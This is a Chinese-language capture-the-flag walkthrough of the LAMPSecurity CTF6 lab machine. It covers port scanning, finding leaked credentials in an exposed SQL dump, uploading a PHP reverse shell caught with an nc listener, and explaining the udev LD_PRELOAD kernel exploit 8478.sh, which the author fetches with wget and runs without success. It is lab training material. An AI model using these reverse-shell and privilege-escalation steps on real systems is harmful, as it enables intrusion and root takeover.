LAMPSecurity: CTF6靶场渗透

LAMPSecurity: CTF6

来自 < https://www.vulnhub.com/entry/lampsecurity-ctf6,85/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.140

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.140

|--------|---------|-----------------------------|-----------------------------------------|
| 端口 | 服务 | 版本信息 | 关键风险 |
| 22 | SSH | OpenSSH 4.3 | 2006 年版本,存在多个漏洞,易受暴力破解和远程攻击 |
| 80 | HTTP | Apache httpd 2.2.3 (CentOS) | 老旧版本,有远程代码执行风险;PHPSESSID 未设 httponly 标志 |
| 111 | rpcbind | RPC #100000 | 可能泄露系统服务信息,辅助攻击者枚举目标 |
| 443 | HTTPS | Apache httpd 2.2.3 (CentOS) | 同 80 端口风险,SSL 证书已过期(2010 年到期) |
| 636 | status | RPC #100024 | RPC 状态服务,泄露系统信息 |
| 3306 | MySQL | 5.0.45 | 2007 年版本,存在权限绕过和远程代码执行漏洞 |

4,访问80端口开设的http服务

什么都没有,再扫描其子目录看看

gobuster dir -u http://192.168.23.140/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

http://192.168.23.140/sql/db.sql

得到了疑似账户密码的信息admin/adminpass

5,成功登录

http://192.168.23.140/index.php?action=add_event

找到文件上传位置,依旧上传kali自带木马,注意修改IP和端口

cp /usr/share/webshells/php/php-reverse-shell.php shell.php

mousepad shell.php

上传之后点击home触发反弹shell,与此同时kali打开对4444端口的监听

nc -lvvp 4444

成功getshell

6,信息收集一下

查看目前用户能否sudo提权,发现sudo被禁用

注意到linux的内核版本,查询一下是否有提权exp

searchsploit linux kernel 2.6 |grep "Local Privilege Escalation"

searchsploit -m 8478.sh

一、漏洞背景

  • udev 是 Linux 系统中用户空间的设备管理守护进程,负责处理内核通过 netlink 发来的热插拔事件。
  • 漏洞点:udev 在解析事件时,会直接继承和处理用户伪造的消息,其中的 环境变量未做安全限制
  • 攻击者通过伪造事件消息注入 LD_PRELOAD,可以让 udev 在 root 权限下加载攻击者的动态库。

二、EXP 的组成部分

  1. udev.c
    • 构造一个伪造的 netlink 消息,模拟设备 add 事件,发送给目标 udevd 的 pid。
    • 关键在这里:
      mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
      这会强制 udev 在处理事件时加载攻击者指定的 .so 文件。
  2. program.c
    • 动态库的 _init() 函数会在加载时自动执行。
    • 它做的事:
      setgid(0); setuid(0);
      unsetenv("LD_PRELOAD");
      execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
      把 /tmp/suid 变成一个 root:root 拥有的 setuid 程序
  3. suid.c
    • 一个很小的 C 程序:
      setgid(0); setuid(0);
      execl("/bin/sh","sh",0);
      编译后 /tmp/suid 就是一个能直接获取 root shell 的程序。

三、执行流程

  1. 攻击者先运行脚本:
    ./8478.sh <pid>
    其中 <pid> 是目标系统上 udevd 的 PID - 1(因为漏洞利用时这个值被用来构造 netlink 地址)。
  2. 脚本会自动:
    • 编译 udev.c 生成 /tmp/udev,负责编造消息。
    • 编译 program.c,生成恶意动态库 libno_ex.so.1.0,复制到 /tmp/。
    • 编译 suid.c,生成 /tmp/suid。
  3. 执行 /tmp/udev <pid>:
    • 向 udev 发送伪造的 netlink 消息。
    • udev 处理时被注入 LD_PRELOAD=/tmp/libno_ex.so.1.0。
    • 以 root 权限加载恶意库 → _init() 执行 → /tmp/suid 被提权为 root SUID 程序。
  4. 等 10 秒后,脚本执行:
    /tmp/suid
    直接获得一个 root shell。

四、使用要点

  1. 要知道 udevd 的 pid(通常 ps aux | grep udevd,然后减 1)。
  2. 要确保 /tmp/ 可写(大多数 Linux 都是可写的 tmpfs)。
  3. 成功运行后,/tmp/suid 会变成 root 权限 + SUID,可随时提权。

五、根本原理总结

  • 攻击面:udev 的 netlink 消息处理
  • 技术点:通过伪造热插拔事件,注入环境变量 LD_PRELOAD。
  • 本质:利用 root 进程加载动态库 → 执行恶意 _init() → 创建一个 SUID 提权程序。

7,kali开启http服务

python -m http.server

靶机下载提权脚本

cd /tmp

wget http://192.168.23.128:8000/8478.sh

赋予执行权限

chmod +x 8478.sh

查询udevd的pid

ps aux | grep udevd

./8478.sh 569

脚本利用失败

相关推荐
峥嵘life20 分钟前
Android16 adb投屏工具Scrcpy介绍
android·开发语言·python·学习·web安全·adb
知攻善防实验室40 分钟前
大洞,速修,Redis远程命令执行漏洞。
安全·网络安全·渗透测试
特种加菲猫1 小时前
Linux之线程池
linux·笔记
DKPT1 小时前
JVM如何管理直接内存?
java·笔记·学习
安卓开发者2 小时前
鸿蒙NEXT安全单元访问开发指南:构建可信应用的安全基石
安全·华为·harmonyos
RrEeSsEeTt2 小时前
【HackTheBox】- Eureka 靶机学习
linux·网络安全·渗透测试·kali·hackthebox
前路不黑暗@3 小时前
Java:代码块
java·开发语言·经验分享·笔记·python·学习·学习方法
序属秋秋秋3 小时前
《C++进阶之C++11》【可变参数模板 + emplace接口 + 新的类功能】
c++·笔记·学习·c++11·可变参数模板·emplace系列接口
聪明的笨猪猪3 小时前
Java SE “核心类:String/Integer/Object”面试清单(含超通俗生活案例与深度理解)
java·经验分享·笔记·面试
聪明的笨猪猪3 小时前
Java SE “语法”面试清单(含超通俗生活案例与深度理解)
java·经验分享·笔记·面试